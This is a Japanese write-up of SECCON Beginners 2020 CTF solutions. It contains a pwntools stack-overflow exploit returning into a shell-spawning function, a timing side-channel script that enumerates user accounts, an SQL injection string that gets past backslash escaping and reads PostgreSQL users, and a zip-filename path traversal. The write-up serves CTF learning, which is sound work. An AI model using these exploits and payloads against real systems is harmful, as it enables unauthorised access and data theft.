7問/23問解いて135位/1009チームでした。beginners向けとは……??
文句言わずに精進します。
解説するのは、
Pwn: Beginner's Stack
Crypto: R&B
Web: Spy, Tweetstore, unzip
Reversing: mask
Misc: Welcome, emoemoencode
です。
Pwn
Beginner's Stack
felvi:~/ctf4b2020$ nc bs.quals.beginners.seccon.jp 9001
Your goal is to call `win` function (located at 0x400861)
[ Address ] [ Stack ]
+--------------------+
0x00007ffee3ebbfa0 | 0x00007f690ac9c9a0 | <-- buf
+--------------------+
0x00007ffee3ebbfa8 | 0x0000000000000000 |
+--------------------+
0x00007ffee3ebbfb0 | 0x0000000000000000 |
+--------------------+
0x00007ffee3ebbfb8 | 0x00007f690aeb5170 |
+--------------------+
0x00007ffee3ebbfc0 | 0x00007ffee3ebbfd0 | <-- saved rbp (vuln)
+--------------------+
0x00007ffee3ebbfc8 | 0x000000000040084e | <-- return address (vuln)
+--------------------+
0x00007ffee3ebbfd0 | 0x0000000000400ad0 | <-- saved rbp (main)
+--------------------+
0x00007ffee3ebbfd8 | 0x00007f690a8bcb97 | <-- return address (main)
+--------------------+
0x00007ffee3ebbfe0 | 0x0000000000000001 |
+--------------------+
0x00007ffee3ebbfe8 | 0x00007ffee3ebc0b8 |
+--------------------+
Input:
win関数を叩いてほしいそうなので叩きます。
方針はスタックオーバーフローです。
inputに入力すると入力した文字がbufから埋まっていくのが確認できます。
Input: aaaaaaaaaaaaa
[ Address ] [ Stack ]
+--------------------+
0x00007fff8ff1a310 | 0x6161616161616161 | <-- buf
+--------------------+
0x00007fff8ff1a318 | 0x00000a6161616161 |
+--------------------+
0x00007fff8ff1a320 | 0x0000000000000000 |
+--------------------+
0x00007fff8ff1a328 | 0x00007fa6d18d0170 |
+--------------------+
0x00007fff8ff1a330 | 0x00007fff8ff1a340 | <-- saved rbp (vuln)
+--------------------+
0x00007fff8ff1a338 | 0x000000000040084e | <-- return address (vuln)
+--------------------+
0x00007fff8ff1a340 | 0x0000000000400ad0 | <-- saved rbp (main)
+--------------------+
0x00007fff8ff1a348 | 0x00007fa6d12d7b97 | <-- return address (main)
+--------------------+
0x00007fff8ff1a350 | 0x0000000000000001 |
+--------------------+
0x00007fff8ff1a358 | 0x00007fff8ff1a428 |
+--------------------+
Bye!
溢れた分はこのまま下に漏れるので、リターンアドレスが入る0x00007fff8ff1a338
番地の手前まで適当な文字で埋めて、
リターンアドレスのところにwin関数の番地である0x400861
をいれます。
from pwn import *
r = remote("bs.quals.beginners.seccon.jp", 9001)
r.send(p64(0) * 5 + p64(0x400861))
r.interactive()
しかし、これだと
[ Address ] [ Stack ]
+--------------------+
0x00007ffde3ecf1c0 | 0x0000000000000000 | <-- buf
+--------------------+
0x00007ffde3ecf1c8 | 0x0000000000000000 |
+--------------------+
0x00007ffde3ecf1d0 | 0x0000000000000000 |
+--------------------+
0x00007ffde3ecf1d8 | 0x0000000000000000 |
+--------------------+
0x00007ffde3ecf1e0 | 0x0000000000000000 | <-- saved rbp (vuln)
+--------------------+
0x00007ffde3ecf1e8 | 0x0000000000400861 | <-- return address (vuln)
+--------------------+
0x00007ffde3ecf1f0 | 0x0000000000400ad0 | <-- saved rbp (main)
+--------------------+
0x00007ffde3ecf1f8 | 0x00007f6a007adb97 | <-- return address (main)
+--------------------+
0x00007ffde3ecf200 | 0x0000000000000001 |
+--------------------+
0x00007ffde3ecf208 | 0x00007ffde3ecf2d8 |
+--------------------+
Oops! RSP is misaligned!
Some functions such as `system` use `movaps` instructions in libc-2.27 and later.
This instruction fails when RSP is not a multiple of 0x10.
Find a way to align RSP! You're almost there!
[*] Got EOF while reading in interactive
惜しいようです。
ヒントによれば、RSP(スタックポインタ)の境界がずれているみたいです。
なのでリターンアドレスを少し先にずらします。
from pwn import *
r = remote("bs.quals.beginners.seccon.jp", 9001)
# 0x400861番地から0x400862番地に変更
r.send(p64(0) * 5 + p64(0x400862))
r.interactive()
こうするとご丁寧にwin関数でシェルが実行されるようなので、
そのままflagを読みます。
[ Address ] [ Stack ]
+--------------------+
0x00007fff155210c0 | 0x0000000000000000 | <-- buf
+--------------------+
0x00007fff155210c8 | 0x0000000000000000 |
+--------------------+
0x00007fff155210d0 | 0x0000000000000000 |
+--------------------+
0x00007fff155210d8 | 0x0000000000000000 |
+--------------------+
0x00007fff155210e0 | 0x0000000000000000 | <-- saved rbp (vuln)
+--------------------+
0x00007fff155210e8 | 0x0000000000400862 | <-- return address (vuln)
+--------------------+
0x00007fff155210f0 | 0x0000000000400ad0 | <-- saved rbp (main)
+--------------------+
0x00007fff155210f8 | 0x00007f9a31b94b97 | <-- return address (main)
+--------------------+
0x00007fff15521100 | 0x0000000000000001 |
+--------------------+
0x00007fff15521108 | 0x00007fff155211d8 |
+--------------------+
Congratulations!
$ ls
chall
flag.txt
redir.sh
$ cat flag.txt
ctf4b{u_r_st4ck_pwn_b3g1nn3r_tada}$
ctf4b{u_r_st4ck_pwn_b3g1nn3r_tada}
Crypto
R&B
from os import getenv
FLAG = getenv("FLAG")
FORMAT = getenv("FORMAT")
def rot13(s):
# snipped
def base64(s):
# snipped
for t in FORMAT:
if t == "R":
FLAG = "R" + rot13(FLAG)
if t == "B":
FLAG = "B" + base64(FLAG)
print(FLAG)
問題のコードから察するに、FORMATがRRBRBRBRR
のようにROT13とbase64の適用順を決めているようです。
ちなみにROT13はアルファベットを13文字後ろにずらす変換で、
base64はバイナリの並びを予め決めてある変換表に従ってascii文字列に変換するものです。
詳しくはググってください。
ということでencoded_flagからFLAGを逆算して求めていきます。
import base64
import codecs
encoded_flag = "BQlVrOUllRGxXY2xGNVJuQjRkVFZ5U0VVMGNVZEpiRVpTZVZadmQwOWhTVEIxTkhKTFNWSkdWRUZIUlRGWFUwRklUVlpJTVhGc1NFaDFaVVY1Ukd0Rk1qbDFSM3BuVjFwNGVXVkdWWEZYU0RCTldFZ3dRVmR5VVZOTGNGSjFTMjR6VjBWSE1rMVRXak5KV1hCTGVYZEplR3BzY0VsamJFaGhlV0pGUjFOUFNEQk5Wa1pIVFZaYVVqRm9TbUZqWVhKU2NVaElNM0ZTY25kSU1VWlJUMkZJVWsxV1NESjFhVnBVY0d0R1NIVXhUVEJ4TmsweFYyeEdNVUUxUlRCNVIwa3djVmRNYlVGclJUQXhURVZIVGpWR1ZVOVpja2x4UVZwVVFURkZVblZYYmxOaWFrRktTVlJJWVhsTFJFbFhRVUY0UlZkSk1YRlRiMGcwTlE9PQ=="
while True:
if encoded_flag[0] == "B":
encoded_flag = base64.b64decode(encoded_flag[1:]).decode("ascii")
elif encoded_flag[0] == "R":
encoded_flag = codecs.decode(encoded_flag[1:], "rot13")
else:
print(encoded_flag)
break
ctf4b{rot_base_rot_base_rot_base_base}
Web
Spy
サーバーのコード(app.py)を読むと、FLAGは/challenge
をクリアすると貰えそうだということがわかります。
# If you can enumerate all accounts, I'll give you FLAG!
if set(answer) == set(account.name for account in db.get_all_accounts()):
message = app.FLAG
else:
message = "Wrong!!"
return render_template("challenge.html", message=message, employees=employees, sec="{:.7f}".format(time.perf_counter()-t))
ここにある通り、DBにユーザー登録しているアカウントをすべて答えればよさそうです。
問題の調べ方ですが、ここでルートのログインのコードを読みます。
def index():
t = time.perf_counter()
if request.method == "GET":
return render_template("index.html", message="Please login.", sec="{:.7f}".format(time.perf_counter()-t))
if request.method == "POST":
name = request.form["name"]
password = request.form["password"]
exists, account = db.get_account(name)
if not exists:
return render_template("index.html", message="Login failed, try again.", sec="{:.7f}".format(time.perf_counter()-t))
# auth.calc_password_hash(salt, password) adds salt and performs stretching so many times.
# You know, it's really secure... isn't it? :-)
hashed_password = auth.calc_password_hash(app.SALT, password)
if hashed_password != account.password:
return render_template("index.html", message="Login failed, try again.", sec="{:.7f}".format(time.perf_counter()-t))
session["name"] = name
return render_template("dashboard.html", sec="{:.7f}".format(time.perf_counter()-t))
ログイン時の処理として、
- DBにユーザーが居るか
- いる場合、ユーザーのパスワードが正しいか
という2段階で検証を行っているようです。
ユーザーが存在しないときは、DBへ一回問い合わせるだけなのに対し、
存在するときは、その後入力されたパスワードをハッシュ化して検証するので、
存在するときのほうが結果を返すまでに時間がかかります。
これを26人分試して、返すまでの時間が長いユーザー名がお目当てのものです。
競技中はソルバを書くのが面倒で手作業でやりましたが、せっかくなので書いてみます。
import re
import time
from urllib import request as req, parse
from lxml import html
target_users = []
with open("./employees.txt") as f:
employees = f.read().split("\n")
url = "https://spy.quals.beginners.seccon.jp/"
for employee in employees:
data = parse.urlencode(
{
"name": employee,
"password": ""
}
).encode("ascii")
source = html.fromstring(req.urlopen(url, data).read())
result = float(re.search(r"0\.\d+", source.xpath('/html/body/footer/div/p[1]')[0].text).group())
if result > 0.1:
target_users.append(employee)
time.sleep(1) # 負荷対策
print(target_users)
これを実行するとDBに登録済のユーザーが分かります。
['Elbert', 'George', 'Lazarus', 'Marc', 'Tony', 'Ximena', 'Yvonne']
これらを/challenge
でチェックを入れればフラグが出ます。
ctf4b{4cc0un7_3num3r4710n_by_51d3_ch4nn3l_4774ck}
Tweetstore
SQLインジェクションです。
webserver.go
の42行目に'
を\\'
に置き換えてしまう仕掛けが施してあります。
この\\'
はGo言語で\'
にエスケープされ、SQLにただの'
としてエスケープされます。
この\
はエスケープシーケンスと呼ばれる、後ろの記号の効果を無効化する記号です。
これでは単純に' (hogehoge); --
としても、前の引用符を閉じることができません。
ということでSQLにエスケープされないようにしたいのですが、
\
は2つ重ねて\\
にすると、ただの\
になります。
よって\\' (hogehoge); --
とすることで、
Go言語に'
を置き換えられた段階で\\\\' (hogehoge); --
になり、
これをGo言語は\\' (hogehoge); --
と読みます。
それをSQLが\' (hogehoge); --
と読みます。
こうすることでSQLはただの円マークとして読んでくれます。
そしてFLAGの読み方ですが、
webserver.go
の82行目でdbuserがFLAGになっていることがわかります。
86行目から分かる通り、このDBはpostgresであることがわかるので、
dbuserはpg_userテーブルに入っていることがわかります。
あとは、これを表示させるだけです。
これをsearch wordに入力します。
\\' or 1=0; select usename as url, usename as text, now() as tweeted_at from pg_user; --
1 = 0でtweetをすべて非表示にしています。
ctf4b{is_postgres_your_friend?}
unzip
zipファイルを読み込ませると、中のファイルを見せてくれるサービスみたいです。
実際に適当にzipファイルをアップしてみるとファイル名が表示されますね。
それをクリックすると中身が表示されますが、ここでURLに注目します。
https://unzip.quals.beginners.seccon.jp/?filename=hoge.txt
filename=
でファイル名を指定するとそこにあるファイルを見せてくれるようです。
配布されたdocker-compose.yml
とindex.php
から、
flag.txt
uploads/
(session_id)/
(zipの中のファイルの名前)
というディレクトリ構造になっていることがわかります。
よって、filename
には../../flag.txt
と指定すれば良さそうです。
しかしそのままhttps://unzip.quals.beginners.seccon.jp/?filename=../../flag.txt
としても、
no such file
と言われてアクセスできません。
というのもindex.php
の15行目で、アップロード済のファイル名と照合して存在しないファイル名を弾いています。
そこで../../flag.txt
という名前のファイルをアップすることを考えます。
しかし、システム上の問題でフォルダと区別がつかなくなってしまうのでファイル名には/
を含むことができません。
そこで一旦/
を適当な記号で置き換えたファイルをzipで圧縮します。
圧縮したzipをバイナリエディタで開いて、ファイル名を直接編集します。
一旦@
で置き換えたものが4箇所見えるので、/
に編集します。
保存して出来上がったzipをアップすれば欲しかったファイル名ができています。
ctf4b{y0u_c4nn07_7ru57_4ny_1npu75_1nclud1n6_z1p_f1l3n4m35}
Reversing
mask
とりあえずバイナリエディタにかけてみると先頭が.ELFなのでLinuxの実行ファイルっぽいことがわかります。
手元で実行してみると、入力を受け取り何らかの処理を施して2行出力するプログラムであることがわかります。
何度か同じ文字を入力してみても変化が無いので、1対1で入力した文字と出力される2つの文字が対応しているようです。
ここでIDAで問題のファイルを解析してみると、
atd`qdedtUpetepqeUdaaeUeaqau と c`b bk`kj`KbababcaKbacaKiacki という文字列が見つかります。
その後の処理でCorrect! Submit your FLAG.
と書いてあるのを見るに、上の2つの文字列が出力されるような文字列がFLAGになっているようです。
あとはゴリ押しです。スマートな解法があれば教えて下さい……
abcdefghijklmnopqrstuvwxyz{}
を入力して出てきた文字列を変換表として、上の2つの文字列を見比べながら当てはめていきました。
(FLAGは忘れました)
#Misc
Welcome
Discordサーバーのannouncementチャンネルを見れば書いてあります。
ctf4b{sorry, we lost the ownership of our irc channel so we decided to use discord}
emoemoencode
だいぶ手こずりました。
何でみんな解けるんだ……??となりながらお風呂に入っていたらひらめきました。
UnicordのEmojiの一覧 - Wikipedia
ASCIIコード表
絵文字が1対1対応しているので、絵文字列がこうなっていることは予想できます。
🍣🍴🍦🌴🍢🍻🍳🍴🍥🍧🍡🍮🌰🍧🍲🍡🍰🍨🍹🍟🍢🍹🍟🍥🍭🌰🌰🌰🌰🌰🌰🍪🍩🍽
↓
ctf4b{🍳🍴🍥🍧🍡🍮🌰🍧🍲🍡🍰🍨🍹🍟🍢🍹🍟🍥🍭🌰🌰🌰🌰🌰🌰🍪🍩}
ここで絵文字をじっと見ていると、食べ物が多いことに気づきます。
そこで完全ランダムではなく、何らかの法則で並んだものだと気づくことができます。
UnicordのEmoji一覧とにらめっこして、U+1FxxのxxがASCIIコードと一致していることに気づけばあとは変換するだけです。
その他
途中までやったやつ
Pwn: Begginer's Heap
double freeでアプリが落ちるところまではいったけどそこから先がわからない。
Crypto: Noisy equations
seedで乱数が固定されるので、2回分の出力をとって差分を計算すればgetrandbits(L)
は消せると思った。
そのあとcoeffsの逆行列とanswerの行列積とれば行けると思ったけど計算がうまく行かなかった。
##Web: profiler
XSSかなあと思ったけど手がかりわからず。
Reversing: yakisoba
焼きそばのように難読化されているところは発見したけどどうほどけばいいかがわからなかった。
Misc: readme
最初これが、今回で言うところのwelcome問題だと勘違いしていてなんで解けないんだ……?となっていた。あほのこですね。
その他問題点等あればご指摘ください!